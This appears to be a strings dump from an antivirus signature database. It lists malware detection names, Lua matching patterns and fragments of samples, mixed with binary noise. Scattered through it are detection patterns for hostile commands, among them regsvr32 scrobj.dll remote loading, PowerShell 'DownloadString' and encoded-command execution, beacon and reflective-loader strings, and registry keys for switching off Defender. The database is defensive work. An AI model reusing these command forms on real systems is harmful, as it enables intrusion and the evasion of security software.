:#Lowfi:HSTR:VirTool:MSIL:Injector.FomaltonsU1I :#Lowfi:HSTR:BrowserModifier:Win32/DNUpdater :#Lowfi:HSTR:BrowserModifier:Win32/DNUpdaterU1 :#Lowfi:SCRIPT:TrojanDropper:Win32/Sarvdap.B :#Lowfi:SCRIPT:TrojanDropper:Win32/Sarvdap.BU1G :#Lowfi:HSTR:VirTool:Win32/DelfInject.gen!DB :#Lowfi:HSTR:VirTool:Win32/DelfInject.gen!DBU1 Y#PERSIST:TrojanDownloader:Win32/Lecna.A!dha Y#PERSIST:TrojanDownloader:Win32/Lecna.A!dhaU19 ]#LowFi:ShadowCopyDeletionNonRootFriendlyLOL ]#LowFi:ShadowCopyDeletionNonRootFriendlyLOLU1 # )#:1:b:2:NSIS_3_0_a0_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_a0_bzip2_solid-x86-unicodeU2 :#LowFi:Lua:ExecutableUsingImageExtension!dha :#LowFi:Lua:ExecutableUsingImageExtension!dhaU2 Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.Rcpack Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.RcpackU2 Y#PERSIST_ContextualAccessJavaTempLikeCorrupt Y#PERSIST_ContextualAccessJavaTempLikeCorruptU2` ]#LowFi:BMLua:AccessibilityEscalation.D!sethc ]#LowFi:BMLua:AccessibilityEscalation.D!sethcU2dc :#Lowfi:SCRIPT:Trojan:PowerShell/RedPowdump.B :#Lowfi:SCRIPT:Trojan:PowerShell/RedPowdump.BU2 Y#PERSIST_Lua:SuspiciousAcrord32infoStartup.A Y#PERSIST_Lua:SuspiciousAcrord32infoStartup.AU2 :#Lowfi:SIGATTR:VirTool:Win32/Injector.gen!BR :#Lowfi:SIGATTR:VirTool:Win32/Injector.gen!BRU2 Y#PERSIST:Program:Win32/Bitmonero!LikelyClean Y#PERSIST:Program:Win32/Bitmonero!LikelyCleanU2 :#Lowfi:HSTR:TrojanSefnit_TorComponent_Bitmap :#Lowfi:HSTR:TrojanSefnit_TorComponent_BitmapU2C :#Lowfi:HSTR:Win32/Packer.Delphi.Decryption.A :#Lowfi:HSTR:Win32/Packer.Delphi.Decryption.AU2 $!)#:1:z:2:NSIS_3_01_strlen_zlib_solid-x86-ansi $!)#:1:z:2:NSIS_3_01_strlen_zlib_solid-x86-ansiU2\\ \":#LowfiREG/CompromisedCert_KeepMyFamilySecure \":#LowfiREG/CompromisedCert_KeepMyFamilySecureU2 #:#Lowfi:HSTR:TrojanDownloader:Win32/Cerewow.A #:#Lowfi:HSTR:TrojanDownloader:Win32/Cerewow.AU2P #:#Lowfi:IMPHASH:TrojanDownloader:Win32/Adload #:#Lowfi:IMPHASH:TrojanDownloader:Win32/AdloadU2v- #:#Lowfi:HSTR:TrojanDownloader:Win32/Papdoof.A #:#Lowfi:HSTR:TrojanDownloader:Win32/Papdoof.AU2 #)#:1:z:2:NSIS_3_02_strlen_zlib_solid-x86-ansi #)#:1:z:2:NSIS_3_02_strlen_zlib_solid-x86-ansiU2Vh &:#LowFi:Adware:MSIL/Strongvault!LikeyCleanPUS &:#LowFi:Adware:MSIL/Strongvault!LikeyCleanPUSU2eZ +:#Lowfi:HSTR:TrojanDownloader:Win32/Filcout.B pox.:#LOWFI:SoftwareBundler:Win32/OxyPumper_AffId +:#Lowfi:HSTR:TrojanDownloader:Win32/Filcout.BU2pox.:#LOWFI:SoftwareBundler:Win32/OxyPumper_AffIdU2 .:#Lowfi:Trojan:Win32/SandCastleMagicFile!MSFT .:#Lowfi:Trojan:Win32/SandCastleMagicFile!MSFTU2 2Y#PERSIST:HSTR:Backdoor:Win32/Genevieve.B!dha 2Y#PERSIST:HSTR:Backdoor:Win32/Genevieve.B!dhaU2 8Y#PERSIST:SoftwareBundler:Win32/GoFileExpress 8Y#PERSIST:SoftwareBundler:Win32/GoFileExpressU2 ;]#LowFi:BMLua:AccessibilityEscalation.Z!sethc ;]#LowFi:BMLua:AccessibilityEscalation.Z!sethcU2dm =:#Lowfi:Lua:WrittenToDo %w+%.lck \t%w+%.lck %w+%.idx \t%w+%.idx !#Lua:DorkbotFileName.A flashdefaultpack.exe Lua:DorkbotFileName.A!RH Lua:DorkbotFileName.A 10958fe944e8 decrypted  count_mov_eax count_mov_edx count_mov_dl  count_xchg_edi count_mov_esi count_pushpop_ecx count_mov_ch  count_mnop count_xchg_edx count_pushpop_esi !decrypted [Obfuscator.ZV] 11956216fd76    1c955dc20319    f9d74bd8f863 Lua:MpRequestEmsScan beammp-launcher nginx ^(%d%d%d+)_(.+)$ SCANSOURCE_RTSIG Solorigate split_path ^Trojan:MSIL/Solorigate.BR!dha  solarwinds.businesslayerhost.exe !solarwinds.businesslayerhost.exe configurationwizard.exe  IsFileOpenedByProcess OrionModuleEngine (.-)([^\\]-([^\\%.]+))$ !#Lua:GlbFileInOfficeFile.A !#Lua:GlbFileInOfficeFile.AIncludesResearchDataObMpAttributes ->word/media/  data%:application%/gltf%-buffer%;base64%,(.-)\" /data%:application%/gltf%-buffer%;base64%,(.-)\"  Lua:GlbInOfficeFileHasBase64.A Lua:GlbInOfficeFileHasSuspOffsetF0.A %Lua:GlbInOfficeFileHasSuspOffsetF0.A Lua:GlbInOfficeFileHasSuspOffsetF8.A %Lua:GlbInOfficeFileHasSuspOffsetF8.A 2c37826207ad7 HSTR:VirTool:Win32/Obfuscator.ALT1 #HSTR:VirTool:Win32/Obfuscator.ALT1 HSTR:VirTool:Win32/Obfuscator.ALT2 #HSTR:VirTool:Win32/Obfuscator.ALT2 LoD:VirTool:Win32/Obfuscator.ACV.3 #LoD:VirTool:Win32/Obfuscator.ACV.3  HSTR:VirTool:Win32/Obfuscator.ALT3 #HSTR:VirTool:Win32/Obfuscator.ALT3 55b3b042e32e   dbb3177f2d11 dbb3177f2d11IncludesBMLuaLib \\programdata\\microsoft\\windows defender\\definition updates\\{%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x}\\mpksldrv%.sys %%common_appdata%%\\microsoft\\windows defender\\definition updates\\{%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x}\\mpksldrv%.sys \\windows\\system32\\mpenginestore\\mpksldrv.sys -\\windows\\system32\\mpenginestore\\mpksldrv.sys \\(mpksl[%w]+) Filcout hFileScoutKey HKCR\\*\\shell\\filescout  hUnknownFileKey HKCR\\*\\shell\\unknownfile hUnknownKey HKCR\\Unknown\\shell\\openas\\command \"HKCR\\Unknown\\shell\\openas\\command defaultValueData filescout.exe unknownfile.exe SetRegValueAsStringExpand %SystemRoot%\\system32\\OpenWith.exe \"%1\" (%SystemRoot%\\system32\\OpenWith.exe \"%1\" %SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,OpenAs_RunDLL %1 V%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,OpenAs_RunDLL %1 delegateexecuteValueData fs_DelegateExecute {e44e9428-bdbc-4987-a099-40dc8fd255e7} '{e44e9428-bdbc-4987-a099-40dc8fd255e7} DelegateExecute !#Lua:ContextPEExtractedFromArchive  \\temp\\rar$ex  \\temp\\7zo  \\temp\\wz[0-9a-f][0-9a-f][0-9a-f][0-9a-f]$ *\\temp\\wz[0-9a-f][0-9a-f][0-9a-f][0-9a-f]$ irsetup.exe   \\temp\\temp[0-9]_.+%.zip$ Powemet regsvr32.+/i%:http.+scrobj%.dll  regsvr32.+/i%:http.+scrobj%.dll iex%s*%(%[text%.encoding%]%:%:ascii%.getstring%(%[convert%]%:%:frombase64string%(%(gp%s*%'hk ]iex%s*%(%[text%.encoding%]%:%:ascii%.getstring%(%[convert%]%:%:frombase64string%(%(gp%s*%'hk !#Lua:ScriptExtractedFileInZip.A 04,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDERB(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Device ControlN(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Device Control\\*(infinite)>(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\ExclusionsJ(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Exclusions\\*(infinite)<(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\FeaturesH(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Features\\*(infinite)O(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Miscellaneous Configuration[(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Miscellaneous Configuration\\*(infinite)<(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\MpEngineH(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\MpEngine\\*(infinite)7(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\NISC(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\NIS\\*(infinite)>(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\QuarantineJ(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Quarantine\\*(infinite)H(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Real-Time ProtectionT(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Real-Time Protection\\*(infinite)?(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\RemediationK(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Remediation\\*(infinite)8(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\ScanD(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Scan\\*(infinite)E(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Signature UpdatesQ(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Signature Updates\\*(infinite):(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\SpynetF(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Spynet\\*(infinite);(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\ThreatsG(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Threats\\*(infinite)D(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\UX ConfigurationP(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\UX Configuration\\*(infinite)8(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\WCOSD(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\WCOS\\*(infinite)R(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Windows Defender Exploit Guard^(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Windows Defender Exploit Guard\\*(infinite)X(2047,4),HKLM\\SOFTWARE\\CLASSES\\AppID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)X(2047,4),HKCU\\SOFTWARE\\CLASSES\\AppID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\AppID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)\\\\*[(2047,4),HKCU\\SOFTWARE\\CLASSES\\AppID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)\\\\*X(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)X(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)\\\\*[(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)\\\\*F(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\\\ProductAppDataPath>(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\\\*G(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\*(infinite)J(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\*(infinite)\\\\*D(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\\\DisableAntivirusF(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\\\DisableAntiSpywareI(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\MICROSOFT ANTIMALWARE\\\\DisableAntivirusK(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\MICROSOFT ANTIMALWARE\\\\DisableAntiSpywareR(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\MICROSOFT ANTIMALWARE\\FEATURES\\\\ForcePassiveModeC(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\\\EnableAuditMode[(2047,4),HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\MpEngine\\\\MpForceDelayReporting[(2047,4),HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\MpEngine\\\\MpContinueOnDetectionz 15b367fe3d15  syntpenh.exe  HKCU\\software\\Wow6432Node\\microsoft\\windows nt\\currentversion\\terminal server\\install\\software\\microsoft\\windows\\currentversion\\runonce\\\\*MHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\*(infinite)THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.htm\\UserChoice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.html\\UserChoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.pdf\\UserChoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.doc\\UserChoice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.docx\\UserCh  api%-ms%-win%-system%-%w+%-l1%-1%-0%.dll )api%-ms%-win%-system%-%w+%-l1%-1%-0%.dll 25b3cbdfd0e2  34b36c2d36aa \\wsfadec.dll   6540148673fc  rsasec.dll secctp.dll module_ls.dll deploy.dll deplay.dll jpicom.dll nbdcom.dll 2eb35f2f3cdf 2eb35f2f3cdfIncludesResearchData 19a78da5b1ec5 2d2911cd5db4 2d2911cd5db4IncludesResearchData  !#PEPCODE:Virus:Win32/Virut.BN    !#PEPCODE:Backdoor:WinNT/Rustock.F SectionAlignment   !#ALF:Exploit:Script/UseMojoJsBindings.A!dha !#ALF:Exploit:Script/UseMojoJsBindings.A!dhaObMpAttributes test.html  SCPT:CodeOnly.UseMojoJsBindings  SCPT:CodeOnly.UseMojoJsBindings !#Lua:JSx2a !#Lua:JSx2aObMpAttributes [JSx2a] 477888a4efbf obf_oa_marker_%x%x bbb3378219e8  @EF@  f5b360fa5c1c 2f29b8bf316c 2f29b8bf316cIncludesResearchData //AGGR:OleFile (<a href%=\"http.-\">https%://businessonline%.o2%.co%.uk/) 9(<a href%=\"http.-\">https%://businessonline%.o2%.co%.uk/) <a href%=\"https%://businessonline%.o2%.co%.uk/.-\">https%://businessonline%.o2%.co%.uk/ W<a href%=\"https%://businessonline%.o2%.co%.uk/.-\">https%://businessonline%.o2%.co%.uk/ 101788a8cf2f6 moffset fileStrAddr  stroffset  current_byte  43b3fd68e1f5 55b3667e6849 55b3667e6849IncludesResearchData \\syncappvpublishingserver.exe T1490 inhibit_system_recovery !#Lua:PEEmbeddedAfterPng  This program cannot be run in DOS mode 'This program cannot be run in DOS mode Lua:PEEmbeddedAfterPng !#Lua:JSxx2a !#Lua:JSxx2aObMpAttributes [JSxx2a] \t[JSxx2a] 25b39d421697 \\microsoftedge \\sophos\\ \t\\sophos\\ \\application\\browser.exe 55b3e2fb1e02 \tHEF@  63b30f699c20  !#TEL:LuaZipBombHeur.A   65b312582b69  65b39fdb7bba  65b3c7d7caef  65b3cb1f034c )oVMv fRX} > 8EjSA jy\"a]>X u=\\*m \\f!A\t *;q:|/Z `qTxT ~[dth >zDrZ 3swg8 HIj8b ;.}NN ^ur'?k ]sD*k 4EM$, MiQr_g  a_[pzm^& /_`xU KQ>9d #E-z\" Pc7IQ VAw[C kZL8f az~cx V+ARlw xa4Wh p-}I0]$ i*1#%l ikOPMU l77on :qO{2 MV=e{ +kB/6 `QoL! !Om%^ s`E?D  I [&pO%8O A99 t :AK,-  (v0m !Bw6]T|F 0npM!+ 5d~X  z)# ,u ;gN = `1 `B iLF*P0-: 8\"Gz&=2  YqbA 2BU4X $R6wY '3Rt/ .Rr>jL iD|le }HD-\t bw?K- $TWwR 3Zd`[J 'nQ=z %GGw> ?>-KJ v+`X- F__\\} \tSBE,0/N @q+09 1P@]%~ 7tP%D ,A*wEG1 ?AVpc_mac_keyboard_file@@ ?AVpc_mac_terminal_manage@@ ?AVpc_mac_record_file@@ ?AVpc_mac_info@@ ?AVpc_mac_screen_file@@ ?AVpc_mac_download_file@@ ?AVpc_mac_online_info@@ ?AVpc_mac_feedback_log@@ ?AVpc_mac_feedback_log@@x !#HSTR:Win64/Dridex.MU!MTB  \"securityPDpanther phitsEJason HWindows-only53jackassremainsblogitsX  andYEarethorough $Minorfail)2uZasRcG 8KitsfromkisalsoEconomictheOS >decembersupport.29ChromiumA2015 :Ebeblogoreceivingad-blockinge ppmm365.pdb DecryptFileW GetSecurityDescriptorSaclx Form_change_password_FormClosed Warehouse_Management_System.Form_change_password.resources Warehouse_Management_System.Form_log_in.resources Warehouse_Management_System.Form_new_kind.resources Warehouse_Management_System.Form_new_material.resources Warehouse_Management_System.Form_new_worker.resources Warehouse_Management_System.Form_search.resources Warehouse_Management_System.Form_take_out.resources Warehouse_Management_System.Form_worker.resources Warehouse_Management_System.Main_Form.resources Warehouse_Management_System.Resources.resources CheckForSyncLockOnValueType ShutdownEventHandlerx !#ALFPER:Trojan:Win32/RofotRaw.A!dha fgrefgt=%s_%s_%s_%s_%s 2014-05-17 16:56:52 8180e320ee4090e41511836678e49a98c0b228e8 /rosemarie/mckenzie/ \\PrvicNativeRpcCliente.txt \\Secombe.txt \\PresentationKeyService.txt String is not valid length ... MEMORY_ALLOCATED\t \"%d\"  Content-Type: multipart/form-data; boundary=---------------------------RXZpbF9CRDZOVHMSeV8k -----------------------------RXZpbF9CRDZOVHMSeV8k \\ManagmentServiceImplements \\GraphicsRemoteEngine InspectorOfficeGadget ClientEventLogMessages \\ReMe.txt hero= Con Error /c mkdir \"\" ModelsControllerLib %s-- luna= %Y%m%d-%I-%M-%S Galdot Galdotx !#ALF:HackTool:Win32/PSPegTool.B!dha  !#ALF:HackTool:Win32/PSPegTool.B!dha AbusePreventionRulesConfig.xml TacticalDomains RedirectUrl TacticalLink InstallationLink Pegasus PS.agentsmith  PS.TacticalSetup. PS.Exfiltration PS.BL.Aspects PS.CloudCommunication PS.Component.App PS.Configuration PS.Core.Impl PS.DataMigration PS.ExportData. PS.HttpSender PS.Installation.Python PS.LocationGrouping PS.LogicalStateFinalizer PS.Metrics.Prometheus PS.OpenPegasus. PS.ProtectionInitializer. PS.ServiceFacade PS.SourceData PS.StormSource. PS.Tactical PS.UI.Notification. PS.UI.WebApi. ST.SmsProvidersTester ST.Gsm.SmsLib ST.Core.Impl ST.Core.Implx LMS_DB_Project.Form1.resources Main_Library.Card.resources Library_Main.Detail.resources Main_Library.AdminMain.resources Main_Library.BorrowReturn.resources Library_Main.Member.resources Main_Library.Reader.resources Library_Main.Manager.resources LMS_DB_Project.AddBorrower.resources Main_Library.Properties.Resources.resources Main_Library.sdefsdfsdfsfs.resources LMS_DB_Project.Search_Books.resources LMS_DB_Project.Book_Loans.resources Main_Library.Insert.resources Library_Main.Library.resources &http://i.imgur.com/ !#SLFPER:Trojan:Win32/FatDuke.B!dha  e0c0d8898ad68725161f428fc81bda249e34949d575 3c0e06206a079b91b222e8b10c9f9330618eb42e4f517973724ea483ca ogram Files\\Canon\\Network ScanGear\\Canocpc.dll 0be7dfa5 7dc931827 0ffbea9d84d353e5 3179aae ,\" \"%s %s%s%s%s%s%s \"\"%s%s%s\\ ,\" \"%s%s%s%s%s%s%s !#ALF:Ransom:Win64/NetWalker!MTB Wow64DisableWow64FsRedirection Wow64RevertWow64FsRedirection NtMapViewOfSection RtlCreateUserThread IEX (New-Object Net)Webclient))DownloadString( powershell -nop -exec bypass -EncodedCommand I'm already in SMB mode CreateFileMappingA PeekNamedPipe ImpersonateNamedPipeClient CreateProcessAsUserA CreateProcessWithLogonW CreateProcessWithTokenW RegOpenCurrentUse CryptGenRandom beacon ReflectiveLoader ReflectiveLoaderx Agent  ,data/boyFirstNames.txt .data/girlFirstNames.txt $data/lastNames.txt ,MatrixEditor.Resources WebRequest ASDadADadAD (data/worldcities.csv Reset Matrices Vhttp://www.distance24.org/route.json?stops= $data/codenames.txt MatrixEditor.My.Resources MatrixEditor.Form1.resources MatrixEditor.Resources.resources MatrixEditor.AddMatrix.resources MatrixEditor.EditMatrix.resources MatrixEditor.EditMatrix.resourcesx !#App:CoinMiner32:EasyMiner [YES] if you wish to learn more and see how to disable virtual networkws adapters wich are incomaptible with Easyminer. w[YES] if you wish to learn more and see how to disable virtual networkws adapters wich are incomaptible with Easyminer. [EASY MINING] Easy Mining failed senddata because found  blockshares where to small! Easyminer succesfully retrieved your newly generated coin adress @Easyminer succesfully retrieved your newly generated coin adress [EASY MINING] Easy Mining senddataonstart syn succes stream! <[EASY MINING] Easy Mining senddataonstart syn succes stream! could loose your Wallet! Backup your LTC Adress(+private key),email and easyminer folder somewhere safe gcould loose your Wallet! Backup your LTC Adress(+private key),email and easyminer folder somewhere safe A critical update is available for Easy Miner ! /A critical update is available for Easy Miner ! Nag Screen - Easy Miner running for : %Nag Screen - Easy Miner running for : Easy Mining was not able to determine whether your computer is using a Nvidia GeForce or AMD Radeon based video card. uEasy Mining was not able to determine whether your computer is using a Nvidia GeForce or AMD Radeon based video card.x !#HSTR:Trojan:MSIL/AgentTesla.SJ1!MTB GetDomain set_FileExtension RemoveFileExtension Joc_de_cartes.My.Resources Joc_de_cartes.Form1.resources Joc_de_cartes.dlg_Replace.resources Joc_de_cartes.dlg_TextString.resources Joc_de_cartes.frm_TextBlock.resources Joc_de_cartes.dlg_FindInfo.resources Joc_de_cartes.Form_stop.resources Joc_de_cartes.frm_WebBrowser.resources Joc_de_cartes.Resources.resources Joc_de_cartes.AudioBooks.resources Joc_de_cartes.PrintBooks.resources Joc_de_cartes.frm_PhotoOrbit.resources Joc_de_cartes.ShoppingCart.resources GpsImgDir FileCopy get_Directory CreateDirectoryx !#HSTR:Win32/Softcnapp.EXE!MTB '!#HSTR:Win32/Softcnapp.EXE!MTB Install.exe FSoftSvr.exe SoftUpdate.exe Fefficacy.exe MgUtility.exe MgUpd.exe MgConfig.exe MgMem.exe MgScreenMgr.exe MgWall.exe MgPlugin.exe SkyPic.exe Puenrecy.exe PicViewer.exe Trigidai.exe Secaler.exe Mraterng.exe WnPdfhshMin.exe WpTolhsj.exe SvWpHost.exe WpPow.exe WanPicService.exe WppdfSep.exe WanPicPower.exe MoWnpdfhsh.exe WnUserPage.exe WnSkinInst.exe WnMoniter.exe WnTool.exe WnConfig.exe WnWizard.exe WnUpd.exe WnUtility.exe Accurate64.exe Svccen.exe MainV.exe WnUninst.exe !#HSTR:FileTour.A1 /notificate.php \\*.lnk 4 \\Quick Launch\\User Pinned\\ Opera Chrome Safari Avant Amaya Arora Leechcraft Links Lunascape K-Meleon Konqueror Mosaic Maxthon Midori Mozilla Netscape RockMelt SeaMonkey YaBrowser Amigo &systemBrowser= &osBuild= getMacAddresses &productType= &osType= &systemUname= &systemLangid= !#HSTR:Win32/DownloadAdmin .build/shared_library.dll]] res/knockout.js]] Efficient Tomorrow Install4 InternalNamesetup.exe Modern New Installer4 Positive Tested Install System4 Meticulous Superior Install4 Supersonic Smooth Software Installer4 !#HSTR:Tracur_AntiEmu =+o#ou3) \thdLL \thdLLhame.hiefrT !#ALFPER:Trojan:MSIL/FoggyWeb.A!dha profile.webp ackground.webp ogo.webp GETE/adfs/por al/images/theme/li ht01/ \tPOSTU/adfs/s rvices/trust/2005 samlmixed/u pload GetAssemblyByName AssemblyNa GetAssemblyByNameAssemblyNa ExecuteAssemblyRoutin enameGetFrameExecuteAssemblyRoutin certificateType O<X509Cert ficate>(.*) /X509Certifi cate> K<Signatur Value>(.*)</SignatureV !#HSTR:VirTool:Win32/Obfuscator.ADB!EP !#TEL:Ransom:Win32/RagnarLocker.A -list -force -vmback -backup -share_network SeRestorePrivilege SeTakeOwnershipPrivilege \\\\.\\PHYSICALDRIVE%d ---END KEY R_R--- ---BEGIN KEY R_R--- ---RAGNAR SECRET--- Wow64EnableWow64FsRedirection Windows.old Tor browser Google Opera Software Mozilla Firefox $Recycle.Bin ProgramData All Users Sysvol .exex !#ALFPER:Trojan:Win32/Emaster.X!dha  $Id: thread.c 14674  010-12-07 14:53:02Z gilg $ sanity check: invalid parameter   in function call sanity check: licence error secure connection failed invalid credentials no data was received too long data for this type of transport invalid network buffer received socket error access violation not enough server resources to complete operation execution has been canceled timeout condition has been occured inside call of function function unsupported error has been suddenly occured $Id: t_status.c 14478 201 -11-27 12:41:22Z gilg $ %s: (0x%08x) %s: (%u) %s %s: (%d) !#HSTR:TrojanProxy:Win32/Ditsolay.A2 CD19BA67EE56F4568FDD69EB77A85EE5638ABD284F8BB2588FCB09499CAA2DD2043 026DEE13B21A389B35A7B61944F721A026CF07519633DA0057F361E10717B95F904 42AD2FD37DC465E678E272E27EB167EE688D41AF30AC5E86C10A4594EE27A051F72 B72C4BFC429B4B86D3060E4E 9FC323D47AD3035E8BD15AFA 5E993BEF6BE0074A87C06DD91636DE 8DF66999CF0E32A63FA5459E B7C0043E98EB18B72AA54F9DD765 86DA79AD26BC7390CE74 D279EC27AB2BDE7B9D38E861E11A0EB60635D9 A725AA56FD6D9E20B12E140F45EB26A9 E361E60A49984A8DC61B011AB0578D31 8FC519CB76D50B474187BB12B26DDD0B 64E1678AC919CA0C459D8790C66DA72B 963495BC1A49FA5CF56AD0CB0226DC60 4B89C06BE5107C9AFD 6EEC6496CE392B6BAE DD3853C8 120C0704 120C0704x !#HSTR:Trojan:MSIL/AgentTesla.SM!MTB GameFAQs_Reader.My.Resources GameFAQs_Reader.Form1.resources GameFAQs_Reader.HelpBox1.resources GameFAQs_Reader.AboutBox1.resources GameFAQs_Reader.FormAdvanced.resources GameFAQs_Reader.Display_Message.resources GameFAQs_Reader.Main_Screen.resources GameFAQs_Reader.QC_createQuoteFolder.resources GameFAQs_Reader.QC_createVendorFolder.resources GameFAQs_Reader.QC_createPOfolder.resources GameFAQs_Reader.FrmStudyNotifier.resources GameFAQs_Reader.frmRenamer.resources GameFAQs_Reader.QC_createCustomer.resources GameFAQs_Reader.QC_createVendor.resources GameFAQs_Reader.Resources.resources GameFAQs_Reader.QC_mainMenu.resources GameFAQs_Reader.QC_mainMenu.resourcesx !#ALF:HSTR:PageMonitoring.S001 \\system32\\reslan\\csrss.exe \\system32\\systsk\\age.exe AA6A1386E5B950C61558C9AA391E277FD9056FEFFDBEAD14BC260DD704E7C8D4 5C5FF67D2C6C8AE19061 A547EC5A650A8FFB3F49 5C9F47BA8C4C8E248715 pvah815a9g8l 8o0983o083on lhqw5wg34j2c 1ov00rba3i6f sn1b9xo4n839 557x64p15yu8 4ai474qv4t1f 9o3lmm89i3i4 175soc8523f5 8e54f7985gq6 oo89696pm9s4 50r4b1dy3go0 x2rj262b6695x !#ALFPER:Trojan:Win32/HyperStack.A!dha (M&M1M-M&M MpMqMmM'M/M/M M&M7M M6M/M&M M*M/M&M M\"M.M&M M,M3M:M \"M'M5M\"M3M M1M&M\"M7M&M M&M1M5M*M M&M M:M0M7M&M.M M,M,M7M REMOTE_NS: RROR:%d REMOTE:E RROR:%dREMOTE:E ROR:%d ERROR:%d ROR:%dERROR:%d UP:SUCCE FILE:ZERO S:%sFILE:ZERO LENGTH ACTION:UNSU PORTED PORTEDSystemRoo SilentMo nType\\\\% \\ipc$ ERROR: UP:SUCCESS dUP:SUCCESS ?Servic .exe?Servic CtrlHandler@@YGKKKPAX0@Z ?ServiceMain@@YAXKP CtrlHandler@@YGKKKPAX0@Z?ServiceMain@@YAXKP PA_W@Z !#TrojanSpy:Win32/Bancos.gen!K_7 n#u#R n#u@R n#u*R n#u%R n@u#R n@u@R n@u*R n@u%R n*u#R n*u@R n*u*R n*u%R  6c78d66536eb  6c78e0f0ea87  6c78f2c20c8f  6d7878b1969e  6d78971f3775  6d78ac405b02  6d78e6da2649  6d78fef8d7d3  6e6103761e05  6e7889bf5a53  6e78939b1691  6e78de9be4c3  6f615a57cc71  6f61f31b6a46  6f783c86f8ba  6f7859c16db9  6f78af442382  70785bbf511a  7078c7535ad5  71618e83bedb  7161f8efe2ac  